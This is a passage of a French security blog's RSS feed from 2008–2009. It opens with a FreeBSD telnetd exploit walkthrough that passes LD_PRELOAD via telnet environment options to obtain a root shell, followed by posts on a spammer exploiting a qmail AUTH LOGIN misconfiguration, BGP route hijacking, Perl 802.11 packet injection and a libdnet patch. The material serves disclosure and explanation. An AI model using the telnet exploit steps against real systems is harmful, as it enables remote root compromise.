&lt;p&gt;Passons à la pratique, l'exploitation à proprement parlée. &lt;em&gt;silenoz&lt;/em&gt; est l'attaquant, &lt;em&gt;legion&lt;/em&gt; la victime&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
silenoz ~
% telnet                                                        
telnet&amp;gt; auth disable SRA
telnet&amp;gt; environ define LD_PRELOAD /tmp/libno_ex.so.1.0
telnet&amp;gt; open legion
Trying 192.168.1.10...
Connected to legion.enslaved.lan.
Escape character is '^]'.

FreeBSD/i386 (legion.enslaved.lan) (ttypd)

Connection closed by foreign host.
&lt;/pre&gt;


&lt;p&gt;&lt;em&gt;Exploit: FAIL&lt;/em&gt;. Pourquoi ça&amp;nbsp;? Et bien parce que notre méchante bibliothèque n'est présente qu'en local (sur &lt;em&gt;silenoz&lt;/em&gt;), et non pas sur la machine &lt;em&gt;legion&lt;/em&gt;. Uploadons la méchante bibliothèque sur la cible, et retentons&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
silenoz ~
% telnet                          
telnet&amp;gt; auth disable SRA
telnet&amp;gt; environ define LD_PRELOAD /tmp/libno_ex.so.1.0
telnet&amp;gt; open legion
Trying 192.168.1.10...
Connected to legion.enslaved.lan.
Escape character is '^]'.

FreeBSD/i386 (legion.enslaved.lan) (ttypd)

GomoR was here
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# hostname
legion.enslaved.lan
# 
&lt;/pre&gt;


&lt;p&gt;Voilà qui est mieux :) Et voyons le contenu du packet du protocole &lt;em&gt;telnet&lt;/em&gt; qui place la variable d'environnement&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
0040        ff fa 20 00 33 38  34 30 30 2c 33 38 34 30     .. .38 400,3840
0050  30 ff f0 ff fa 27 00 03  4c 44 5f 50 52 45 4c 4f   0....'.. LD_PRELO
0060  41 44 01 2f 74 6d 70 2f  6c 69 62 6e 6f 5f 65 78   AD./tmp/ libno_ex
0070  2e 73 6f 2e 31 2e 30 00  55 53 45 52 01 67 6f 6d   .so.1.0. USER.gom
0080  6f 72 ff f0 ff fa 18 00  58 54 45 52 4d ff f0      or...... XTERM.. 
&lt;/pre&gt;


&lt;p&gt;Une option du protocole &lt;em&gt;telnet&lt;/em&gt; permet de placer des variables d'environnement à distance. Terriblement dangereux, mais terriblement utile. Qui parle de &lt;em&gt;X display&lt;/em&gt;&amp;nbsp;? Qui a encore dit terriblement dangereux&amp;nbsp;? M'enfin bon, ça existe.&lt;/p&gt;


&lt;p&gt;Pour conclure sur le sujet, la faille a été réintroduite avec FreeBSD &lt;em&gt;7.0-RELEASE&lt;/em&gt;. Régression. Ça arrive, même aux meilleurs. A moins qu'il n'existe déjà sur le système attaqué une bibliothèque possédant une fonction qui exécute une commande malicieuse (en gros, une fonction &lt;em&gt;_init()&lt;/em&gt;), cette faille n'est pas exploitable en &lt;em&gt;remote&lt;/em&gt;. Donc, &lt;em&gt;very unlikely&lt;/em&gt;. Sauf si, bien sûr, vous pouvez &lt;em&gt;uploader&lt;/em&gt; un fichier arbitraire sur la cible. Genre par un serveur Web avec un applicatif troué.&lt;/p&gt;


&lt;p&gt;[1] &quot;&lt;a href=&quot;http://www.protocol-hacking.org/post/2009/02/26/Full-disclosure&quot; title=&quot;Full-disclosure&quot;&gt;Full-disclosure&lt;/a&gt; FreeBSD zeroday&quot; - &lt;a href=&quot;http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-02/msg00181.html&quot; hreflang=&quot;en&quot;&gt;http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-02/msg00181.html&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;[2] &quot;telnetd code execution vulnerability&quot; - &lt;a href=&quot;http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc&quot; hreflang=&quot;en&quot;&gt;http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2009/02/26/Wohaaa-un-remote-root-old-school-%3A#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2009/02/26/Wohaaa-un-remote-root-old-school-%3A#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/9</wfw:commentRss>
      </item>
    
  <item>
    <title>Les spammeurs savent utiliser AUTH LOGIN ... et ma configuration FAIL</title>
    <link>http://www.protocol-hacking.org/post/2009/03/26/Les-spammeurs-utilisent-AUTH-LOGIN</link>
    <guid isPermaLink="false">urn:md5:c69dd241e5c833dff7351188eb888d5c</guid>
    <pubDate>Thu, 26 Mar 2009 23:30:00 +0100</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Configuration</category>
        <category>qmail</category><category>SMTP</category><category>spam</category>    
    <description>    &lt;p&gt;&quot;Tiens, on dirait que j'ai de moins en moins d'emails ces temps-ci ....&quot;. C'est par cette triste pensée que débuta ma recherche de la cause du problème. En effet, je possède un serveur dédié comme nombre de passionnés. Et bien sûr, mon serveur dédié héberge de multiples domaines. Mais surtout, un serveur SMTP pour dans les ténèbres les lier. C'est de ce dernier et de sa configuration dont je vais parler aujourd'hui.&lt;/p&gt;


&lt;p&gt;Donc, je ne reçois presque plus de mails. Première hypothèse, plus personne ne m'aime. Non, ça ne tiens pas, j'ai pas été plus méchant ces temps-ci que les temps précédents. Deuxième hypothèse, ma mail queue commence à saturer. Je me connecte en SSH, et là, c'est le drame. Le mailq me donne une liste qui défile pendant près d'une minute. Je traduis pour les incultes&amp;nbsp;: ça veut dire beaucoup beaucoup de messages en attente de livraison.&lt;/p&gt;


&lt;p&gt;Mais pourquoi donc que c'est comme ça&amp;nbsp;? En regardant rapidement, je vois que 80% des messages sont à destination de personnes ayant (ou pas) un mail @yahoo.com.tw. Avec un peu de chance, je n'ai qu'un spammeur qui a repéré une faiblesse chez moi.&lt;/p&gt;


&lt;p&gt;Je tente un premier truc&amp;nbsp;: bloquer les adresses IP sources qui me mettent ces messages @yahoo.com.tw dans ma queue (huhu). Mais comme prévu, la liste est longue; je ne retiens pas cette solution. Par contre, en attendant de trouver mieux, je bloque les messages sortant à destination des IP des MX de yahoo.com.tw afin de les décharger de ce load. Sympa knorr.&lt;/p&gt;


&lt;p&gt;Deuxième truc&amp;nbsp;: analyser les commandes SMTP. Je capture le trafic SMTP sur mon serveur pendant quelques minutes pour avoir de quoi jouer. Après analyse, voici les data qui me semblent intéressantes&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
&amp;gt; EHLO msg-g09pmirpcam
&amp;lt; 250-ns22829.ovh.net
&amp;lt; 250-AUTH LOGIN CRAM-MD5 PLAIN
&amp;lt; 250-AUTH=LOGIN CRAM-MD5 PLAIN
&amp;lt; 250-PIPELINING
&amp;lt; 250 8BITMIME
&amp;gt; AUTH LOGIN
&amp;lt; 334 VXNlcm5hbWU6
&amp;gt; YWRtaW4=
&amp;lt; 334 UGFzc3dvcmQ6
&amp;gt; YWRtaW4=
&amp;lt; 235 ok, go ahead (#2.0.0)
&amp;gt; RSET
&amp;gt; MAIL FROM:&amp;lt;fkp@ns22829.ovh.net&amp;gt;
&amp;gt; RCPT TO:&amp;lt;oprah2073@yahoo.com.tw&amp;gt;
...
&amp;gt; DATA
&amp;lt; 250 flushed
&amp;lt; 250 ok
...
&amp;lt; 354 go ahead
&amp;gt; From: =?BIG5?B?uFW+8KRI?= &amp;lt;fkp@ns22829.ovh.net&amp;gt;
&amp;gt; To: &amp;quot;oprah2073&amp;quot; &amp;lt;oprah2073@yahoo.com.tw&amp;gt;
&amp;gt; Subject: =?BIG5?B?obShtKG0obSkQK3TpKOlsqnxsfOnQaq6pHWnQLROpWm8V6VbpqykSqq6pOiqa6G0?==?BIG5?B?obShtKG0obShtA==?=
&amp;gt; Date: Tue, 19 Jan 2038 11:14:07 +0800
...
&amp;lt; 250 ok 1237657002 qp 1924
&lt;/pre&gt;


&lt;p&gt;Mais que vois-je&amp;nbsp;? mon serveur accepte les messages à destination d'un domaine que je n'héberge pas&amp;nbsp;? En l'occurrence, les messages à destination de yahoo.com.tw. Mais pourquoi tant de haine&amp;nbsp;? En regardant le début de la transaction, je note l'utilisation de AUTH LOGIN. En regardant encore mieux, non seulement la négociation n'échoue pas, mais en plus elle réussit&amp;nbsp;!&lt;/p&gt;


&lt;p&gt;Avant de vous traduire le dialogue, oui, pour vous, pauvres mécréants, un petit mot sur AUTH LOGIN. Mon serveur SMTP est (était) configuré pour utiliser la méthode SMTP AUTH LOGIN. Cette méthode permet aux seuls utilisateurs ayant un compte sur mon serveur (je simplifie) de s'authentifier en SMTP, et de se voir attribuer le droit de pouvoir utiliser mon serveur SMTP pour relayer tous leurs messages. Ai confiance en tes users :) L'intérêt est pour eux de ne pas avoir besoin d'utiliser le webmail de mon serveur pour expédier des messages provenant de leur nom de domaine. Mais leur client de messagerie se doit de supporter AUTH LOGIN. Revenons à notre traduction&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
&amp;gt; AUTH LOGIN
# Can I haz authenticashun to spam teh interwebs ?
&amp;lt; 334 VXNlcm5hbWU6
# base64_decode =&amp;gt; 'Username:'
&amp;gt; YWRtaW4=
# base64_decode =&amp;gt; 'admin'
&amp;lt; 334 UGFzc3dvcmQ6
# base64_decode =&amp;gt; 'Password:'
&amp;gt; YWRtaW4=
# base84_decode =&amp;gt; 'admin'
&amp;lt; 235 ok, go ahead (#2.0.0)
# authentication: WIN
&lt;/pre&gt;


&lt;p&gt;Caugh, caugh. Vous lisez bien, admin/admin et le spammeur est authentifié sur mon serveur. Je me bas presque tous les jours pour que les gens changent les mots de passe par défaut. C'est pas dur merde&amp;nbsp;! Bon, que celui qui n'a jamais fauté jette la première pêche.&lt;/p&gt;


&lt;p&gt;A ma décharge, la faille de configuration de mon serveur était plus sévère. N'importe quel couple login/mot de passe était accepté, et permettait de s'authentifier.&lt;/p&gt;


&lt;p&gt;Je recompile donc qmail en désactivant le support AUTH LOGIN, n'ayant pas d'utilisateur s'en servant. Si ils me le demandent, je regarderai de plus près comment configurer ça de manière secure. Je redémarre qmail. Je regarde ma mailq. Je capture du trafic. J'analyse le trafic ... nan, c'est bon :) c'est corrigé. Mais la chose amusante, c'est que le spammeur en question n'utilise plus la méthode AUTH LOGIN. Voyons le nouveau trafic&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
&amp;lt; 220 ns22829.ovh.net ESMTP
&amp;gt; EHLO msg-g09pmirpcam
&amp;lt; 250-ns22829.ovh.net
&amp;lt; 250-PIPELINING
&amp;lt; 250 8BITMIME
&amp;lt; RSET
&amp;lt; 250 flushed
&amp;gt; MAIL FROM:&amp;lt;ins@ns22829.ovh.net&amp;gt;
&amp;gt; RCPT TO:&amp;lt;roety503@yahoo.com.tw&amp;gt;
...
&amp;lt; 250 ok
&amp;lt; 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1)
...
&lt;/pre&gt;


&lt;p&gt;Voilà qui va beaucoup mieux. Mais vous avez remarqué&amp;nbsp;? le spammeur n'utilise plus la méthode AUTH LOGIN. Ce qui veut dire que son robot analyse la sortie de la commande EHLO, et si le serveur SMTP supporte AUTH LOGIN, il tente une authentification. Au moins avec admin/admin. Je ne vais pas analyser plus que ça, mais il est possible que le robot brute-force un minimum avec différents couples login/mot de passe. Intéressant spammeur, on se reverra peut-être. A+&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2009/03/26/Les-spammeurs-utilisent-AUTH-LOGIN#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2009/03/26/Les-spammeurs-utilisent-AUTH-LOGIN#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/10</wfw:commentRss>
      </item>
    
  <item>
    <title>La pub c'est bon. Gardons la 24/7.</title>
    <link>http://www.protocol-hacking.org/post/2008/12/20/La-pub-c-est-bon-Gardons-la-24/7</link>
    <guid isPermaLink="false">urn:md5:eeaa797628c70b3b714cc04c96e752bb</guid>
    <pubDate>Sat, 20 Dec 2008 16:50:00 +0100</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Outil</category>
        <category>netcat</category><category>pub</category><category>SSL</category>    
    <description>    &lt;p&gt;Un certain &lt;a href=&quot;http://www.blogger.com/profile/10602250886210141882&quot; hreflang=&quot;fr&quot;&gt;Agent Secret&lt;/a&gt; a fait de la pub pour un de mes programmes&amp;nbsp;: &lt;a href=&quot;http://www.gomor.org/bin/view/GomorOrg/SslNetcat&quot; hreflang=&quot;en&quot;&gt;SSL Capable NetCat&lt;/a&gt;. Je ne peux que l'en remercier ;) Et pour l'en remercier, je lui fait également de la pub, ça se passe comme ça dans le privé.&lt;/p&gt;


&lt;p&gt;Par &lt;a href=&quot;http://mission-security.blogspot.com/2008/06/securithttpwwwbloggercompost.html&quot; hreflang=&quot;fr&quot;&gt;ici&lt;/a&gt; la bonne nourriture (au moins 5 fruits et légumes par jour).&lt;/p&gt;


&lt;p&gt;EDIT&amp;nbsp;: Pour ceux qui n'ont pas vu l'allusion, relisez en pensant &quot;suppression de la pub sur les chaînes publiques entre 20h et 6h&quot;.&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2008/12/20/La-pub-c-est-bon-Gardons-la-24/7#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2008/12/20/La-pub-c-est-bon-Gardons-la-24/7#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/7</wfw:commentRss>
      </item>
    
  <item>
    <title>Programmez votre Window Manager en Perl. Oui, je suis fou.</title>
    <link>http://www.protocol-hacking.org/post/2008/12/20/Programmez-votre-Window-Manager-en-Perl-Oui-je-suis-fou</link>
    <guid isPermaLink="false">urn:md5:f1e4b50fc017a81e6a0f18e1e0699b74</guid>
    <pubDate>Sat, 20 Dec 2008 14:21:00 +0100</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Programmation</category>
        <category>binding</category><category>libixp</category><category>Perl</category><category>WM</category><category>wmii</category>    
    <description>    &lt;p&gt;Cédant à la pression de &lt;a href=&quot;http://blog.6dev.net/&quot; hreflang=&quot;en&quot;&gt;sbz&lt;/a&gt;, je vais vous parler d'un Window Manager (WM) qu'il est bien. Je fais également fi de ma ligne éditoriale habituelle (on reste tout de même dans le registre de la folie), étant donné que cela n'a pas grand chose à voir avec le networking.&lt;/p&gt;


&lt;p&gt;Ce WM n'est autre que &lt;a href=&quot;http://www.suckless.org/wmii/&quot; hreflang=&quot;en&quot;&gt;wmii&lt;/a&gt;. Il est basé sur la bibliothèque &lt;a href=&quot;http://www.suckless.org/libs/libixp.html&quot; hreflang=&quot;en&quot;&gt;libixp&lt;/a&gt;, qui elle-même est grandement inspirée de la bibliothèque &lt;a href=&quot;http://cm.bell-labs.com/plan9&quot; hreflang=&quot;en&quot;&gt;Plan 9&lt;/a&gt;. Ce WM est &quot;programmable&quot; et &quot;tiled&quot;.&lt;/p&gt;


&lt;p&gt;Le &quot;programmable&quot; signifie qu'on personnalise le WM en écrivant des lignes de code, dans n'importe quel langage implémentant la bibliothèque libixp. Le &quot;tiled&quot; signifie simplement que chaque fenêtre ouverte prendra le maximum de place de la root Window de votre X display.&lt;/p&gt;


&lt;p&gt;Ce WM était &quot;programmable&quot; dans presque tous les langages. Je dis bien presque, car seul un petit village gaulois résistait encore. Mais cette fois, il fut vaincu. Le village &lt;a href=&quot;http://search.cpan.org/&quot; hreflang=&quot;en&quot;&gt;CPAN&lt;/a&gt; fut ainsi envahi par la libixp. J'ai écris le &lt;a href=&quot;http://search.cpan.org/~gomor/Lib-IXP/&quot; hreflang=&quot;en&quot;&gt;binding Perl&lt;/a&gt; pour la bibliothèque libixp afin de personnaliser mon WM du moment en écrivant des lignes de Perl. Je vous laisse admirer le &lt;a href=&quot;http://search.cpan.org/src/GOMOR/Lib-IXP-0.10/examples/perlwmii.pl&quot; hreflang=&quot;en&quot;&gt;travail&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;Oui, je suis fou.&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2008/12/20/Programmez-votre-Window-Manager-en-Perl-Oui-je-suis-fou#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2008/12/20/Programmez-votre-Window-Manager-en-Perl-Oui-je-suis-fou#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/6</wfw:commentRss>
      </item>
    
  <item>
    <title>Man in the middle sur Internet, ça coûte cher ça ?</title>
    <link>http://www.protocol-hacking.org/post/2008/11/14/Man-in-the-middle-sur-Internet-ca-coute-cher-ca</link>
    <guid isPermaLink="false">urn:md5:5735c3170a334ebb13f0269ca7cb036d</guid>
    <pubDate>Fri, 14 Nov 2008 18:48:00 +0100</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Vulnérabilité</category>
        <category>BGP</category><category>news</category>    
    <description>    &lt;p&gt;Aujourd'hui, je vais vous parler de BGP (Border Gateway Protocol). Je sais, c'est old news, on en a parlé au DEFCON[1] cet été. Avant de me dire que vous en avez entendu parler ad noseum[2], lisez la suite. Dans ce billet, je vais d'abord citer les faits historiques (pour ceux qui dormaient sous un rocher depuis plusieurs mois), puis je vais chercher à savoir combien ça coûte de hijacker une route BGP.&lt;/p&gt;


&lt;p&gt;Les faits. BGP est un protocole de routage inter-AS (Autonomous Systems). Un AS est généralement sous une unique autorité administrative. Les AS doivent dialoguer les uns avec les autres, et entretenir une certaine relation de confiance. Cette relation existe pour que l'échange de routes soit possible, afin que chaque sous-réseau composant Internet puisse être accessible depuis n'importe quel point d'Internet. BGP est donc le protocole permettant l'échange de ces routes entre deux AS. Ensuite, chaque AS &quot;répercute&quot; les routes échangées avec ses AS voisins, jusqu'à ce que tous les AS de la planète connaissent l'existence de ces routes.&lt;/p&gt;


&lt;p&gt;Cet été, les chercheurs[3] Kapela et Pilosov ont montré que le détournement de routes via BGP était à la portée de n'importe qui. En effet, nul besoin d'un &quot;exploit&quot; de haut niveau, ni de grande compétence. Juste de posséder un AS. Le fait que les routes sont répercutées d'AS en AS est là la seule faille, si tant est que l'on puisse considérer qu'il y en ait une. Pour ceux qui sont durs de la comprenette, ça veut dire qu'on peut écouter le trafic de n'importe qui. Lisez&amp;nbsp;: utilisez SSL/SSH/IPSec/whatever pour éviter que vos mots de passe transitent en clair sur Internet. Il est largement temps de supprimer tous ces vieux protocoles qui laissent passer des données confidentielles en clair sur Internet.&lt;/p&gt;


&lt;p&gt;L'autorité de régulation des télécoms Pakistanaise[4] a voulu utiliser cette &quot;feature&quot; pour bloquer l'accès à YouTube dans son pays, à cause d'une vidéo &quot;blasphématoire&quot;. Ils ont donc décidé d'annoncer la route menant à YouTube comme étant nulle dans leur AS. Dommage, les routes se sont propagées sur toute la planète, et plus personne ne pouvait accéder à YouTube.&lt;/p&gt;


&lt;p&gt;L'autre conséquence possible, celle montrée par les chercheurs à DEFCON, permet un man in the middle à l'échelle planétaire. Tout simplement. Ils ont re-routés en live le trafic de DEFCON vers leur AS, ont pu sniffer à en provoquer une overdose, tout en re-routant le trafic de leur AS vers DEFCON. Ni vu, ni connu. Enfin presque. Certains penseront qu'un traceroute permettrait de révéler la supercherie, mais en modifiant le TTL des packets du traceroute, le nouveau hop redevient invisible. Et c'est surtout en cela que leur présentation était &quot;nouvelle&quot;.&lt;/p&gt;


&lt;p&gt;Ok. So now, est-ce que moi, citoyen lambda, je peux re-router le réseau de mon choix pour espionner le trafic à moindre coup&amp;nbsp;? La réponse est malheureusement oui. Je ne vais pas faire de pub, mais un grand hébergeur français loue des AS &quot;full BGP&quot; pour 100 € HT par mois. Évidemment, je n'ai pas envie de dépenser cette somme pour valider l'attaque, mais le cœur y est, je vous l'assure. Maintenant, pour louer un AS, il y a des contraintes administratives, et votre identité sera très probablement révélée à cet hébergeur. L'aspect anonymisation de l'attaque ne sera, bien sûr, pas abordé ici.&lt;/p&gt;


&lt;p&gt;Ce billet ne serait pas complet si je n'abordais pas les solutions. La solution parfaite&amp;nbsp;: S-BGP, tout le monde s'authentifie, et chaque AS est capable d'avoir une vraie confiance en ses voisins. Et les voisins de ses voisins aussi. Mais c'est pire que DNSSEC a déployer. Il ne reste plus que les solutions actuelles&amp;nbsp;: le monitoring[5] de routes, pour détecter quand quelqu'un annonce &quot;par mégarde&quot; le préfixe d'un réseau qui n'est pas le sien. Ça me rappelle les logs des systèmes ou des IDS. C'est bien, mais il faut les lire.&lt;/p&gt;


&lt;p&gt;[1] DEFCON 16 Media Archive - &lt;a href=&quot;https://www.defcon.org/html/links/defcon-media-archives.html&quot; hreflang=&quot;en&quot;&gt;https://www.defcon.org/html/links/defcon-media-archives.html&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;[2] DEFCON 16 Press Release - &lt;a href=&quot;https://www.defcon.org/html/links/dc_press/dc_press.html&quot; hreflang=&quot;en&quot;&gt;https://www.defcon.org/html/links/dc_press/dc_press.html&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;[3] Présentation sous le titre &quot;Stealing The Internet - A Routed, Wide-area, Man in the Middle Attack&quot; - &lt;a href=&quot;https://www.defcon.org/html/links/defcon-media-archives.html&quot; hreflang=&quot;en&quot;&gt;https://www.defcon.org/html/links/defcon-media-archives.html&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;[4] Pakistan lifts the ban on YouTube - &lt;a href=&quot;http://news.bbc.co.uk/1/hi/technology/7262071.stm&quot; hreflang=&quot;en&quot;&gt;http://news.bbc.co.uk/1/hi/technology/7262071.stm&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;[5] BGP monitoring and analyzer tool - &lt;a href=&quot;http://bgpmon.net/&quot; hreflang=&quot;en&quot;&gt;http://bgpmon.net/&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2008/11/14/Man-in-the-middle-sur-Internet-ca-coute-cher-ca#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2008/11/14/Man-in-the-middle-sur-Internet-ca-coute-cher-ca#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/5</wfw:commentRss>
      </item>
    
  <item>
    <title>Voilà. Injection de packets 802.11 en Perl.</title>
    <link>http://www.protocol-hacking.org/post/2008/11/09/Voila-Injection-de-packets-80211-en-Perl</link>
    <guid isPermaLink="false">urn:md5:caaeecbcbde4e6fc302d5b990e261af2</guid>
    <pubDate>Sun, 09 Nov 2008 12:44:00 +0100</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Programmation</category>
        <category>802.11</category><category>binding</category><category>Perl</category><category>Wi-Fi</category>    
    <description>    &lt;p&gt;Il existe depuis près de 2 ans un module Perl[1] pour expédier des packets 802.11 dans les airs. Malheureusement, ce module écrit à l'origine par David Leadbeater est maintenant obsolète par rapport à l'API actuelle de Lorcon[2].&lt;/p&gt;


&lt;p&gt;Alors je contacte l'auteur du module, et lui demande si il souhaite garder l'ownership du module, lui disant que ça me plairait bien de reprendre le lead sur ce projet. En effet, j'avais déjà écrit la version 0.02 du module, et n'attendais plus que le feu vert. L'auteur accepte avec joie, n'ayant plus d'intérêt pour l'injection 802.11 pour le moment.&lt;/p&gt;


&lt;p&gt;So far, so good, la version actualisée supportant plus de drivers Wi-Fi et fonctionnant avec la dernière version SVN (revision 163)[3] est maintenant dispo sur CPAN[4].&lt;/p&gt;


&lt;p&gt;Maintenant un exemple, pour vous montrer a quel point c'est facile à utiliser&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
use Net::Lorcon qw(:all);

# Injection pour ma carte Intel 3945. Son device est eth1, et le driver requit est iwlwifi
my $tx = Net::Lorcon-&amp;gt;new(&amp;quot;eth1&amp;quot;, &amp;quot;iwlwifi&amp;quot;);

$tx-&amp;gt;open or die(&amp;quot;Impossible d'ouvrir l'interface&amp;quot;);
$tx-&amp;gt;setfunctionalmode(1);

# Beacon vers le point d'accès ayant pour SSID &amp;quot;Net::Lorcon&amp;quot;
my $packet = &amp;quot;\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x02\x02\xe2\xc4\xef\x00\x02\x
02\xe2\xc4\xef\xd0\xfe\x37\xe0\xae\x0c\x00\x00\x00\x00\x64\x00\x21\x08\x00\x0b\x4e\x65\x
74\x3a\x3a\x4c\x6f\x72\x63\x6f\x6e\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24\x03\x01\x0d\x
05\x04\x00\x01\x00\x00\x2a\x01\x00\x32\x04\x30\x48\x60\x6c&amp;quot;;

# Et voilà, un packet dans les airs.
$tx-&amp;gt;txpacket($packet);
&lt;/pre&gt;


&lt;p&gt;Bon. Reste plus qu'à ajouter le support injection Wi-Fi dans Net::Write[5].&lt;/p&gt;


&lt;p&gt;[1] &lt;a href=&quot;http://search.cpan.org/~dgl/Net-Lorcon-0.01/&quot; hreflang=&quot;en&quot;&gt;http://search.cpan.org/~dgl/Net-Lorcon-0.01/&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;[2] &lt;a href=&quot;http://802.11ninja.net/lorcon&quot; hreflang=&quot;en&quot;&gt;http://802.11ninja.net/lorcon&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;[3] &quot;svn co http://802.11ninja.net/svn/lorcon/trunk/&quot;&lt;/p&gt;


&lt;p&gt;[4] &lt;a href=&quot;http://search.cpan.org/~gomor/Net-Lorcon/&quot; hreflang=&quot;en&quot;&gt;http://search.cpan.org/~gomor/Net-Lorcon/&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;[5] &lt;a href=&quot;http://search.cpan.org/~gomor/Net-Write/&quot; hreflang=&quot;en&quot;&gt;http://search.cpan.org/~gomor/Net-Write/&lt;/a&gt;&lt;/p&gt;



&lt;p&gt;&lt;strong&gt;UPDATE :&lt;/strong&gt; mon module compile avec la version suivante du SVN de lorcon&amp;nbsp;:
svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old&lt;/p&gt;


&lt;p&gt;Pour une version plus récente de lorcon, j'ai un peu de boulot ^^&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2008/11/09/Voila-Injection-de-packets-80211-en-Perl#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2008/11/09/Voila-Injection-de-packets-80211-en-Perl#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/4</wfw:commentRss>
      </item>
    
  <item>
    <title>libdnet, mon amie ... pose ce couteau</title>
    <link>http://www.protocol-hacking.org/post/2008/10/26/libdnet-mon-amie</link>
    <guid isPermaLink="false">urn:md5:9fcb54acdd1bcde415a94bd0ff6db981</guid>
    <pubDate>Sun, 26 Oct 2008 13:04:00 +0100</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Programmation</category>
        <category>C</category><category>libdnet</category><category>patch</category>    
    <description>    &lt;p&gt;En utilisant &lt;a href=&quot;http://libdnet.sourceforge.net/&quot; hreflang=&quot;en&quot;&gt;libdnet&lt;/a&gt; (version 1.11, la dernière) sous votre OS préféré (heu ... Linux ?), vous êtes probablement déjà tombé sur ce message&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
% dnet intf show
lo: flags=0x3&amp;lt;UP,LOOPBACK&amp;gt; mtu 16436
	inet 127.0.0.1/8
	alias ::1
eth0: flags=0x31&amp;lt;UP,BROADCAST,MULTICAST&amp;gt; mtu 1500
	link 00:13:a9:2c:5b:a3
dnet: intf_loop: Invalid argument
&lt;/pre&gt;


&lt;p&gt;Cette situation ne doit pas être une fatalité. Alors ce dimanche, comme j'avais du temps à perdre, et surtout grâce au droit opposable au code incomplet et/ou vieillissant, j'ai pu chercher d'où venait le problème. Premier élément de réponse&amp;nbsp;: la carte suivante devrait être la carte wireless de mon laptop, étant donné que c'est le cas avec &lt;strong&gt;ifconfig&lt;/strong&gt;. En essayant sur une machine sans carte wireless, pas de problème&amp;nbsp;; toutes les interfaces sont affichées. Il y a de fortes chances que l'erreur soit provoquée lors de la lecture des informations de ma carte wireless.&lt;/p&gt;


&lt;p&gt;Deuxième élément de réponse (je vous passe mes sessions de debug du source de libdnet), je finis par tomber la dessus, dans &lt;strong&gt;src/intf.c&lt;/strong&gt;&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
if (addr_ston(&amp;amp;ifr.ifr_addr, &amp;amp;entry-&amp;gt;intf_link_addr) &amp;lt; 0)
        return (-1);
&lt;/pre&gt;


&lt;p&gt;La fonction &lt;strong&gt;addr_ston()&lt;/strong&gt; retourne -1 lorsqu'elle tombe sur une interface IEEE 802.11. Le problème est du au fait qu'une interface IEEE 802.11 n'est pas pareil qu'une interface ethernet (doh!), par exemple. En effet, la &lt;strong&gt;sa_family&lt;/strong&gt; pour une interface 802.11 possède sa propre valeur (sous Linux, c'est la valeur 801, alors qu'ethernet possède la valeur 1). Reste plus qu'à patcher &lt;strong&gt;addr_ston()&lt;/strong&gt; dans &lt;strong&gt;src/addr.c&lt;/strong&gt; de la façon suivante&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
  case AF_UNSPEC:
  case ARP_HRD_ETH:       /* XXX- Linux arp(7) */
+ /* Also defined in net/if_arp.h as ARPHRD_IEEE80211 */
+ case 801:
      a-&amp;gt;addr_type = ADDR_TYPE_ETH;
      a-&amp;gt;addr_bits = ETH_ADDR_BITS;
      memcpy(&amp;amp;a-&amp;gt;addr_eth, sa-&amp;gt;sa_data, ETH_ADDR_LEN);
      break;
&lt;/pre&gt;


&lt;p&gt;On compile, on installe, et voilà&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
% dnet intf show
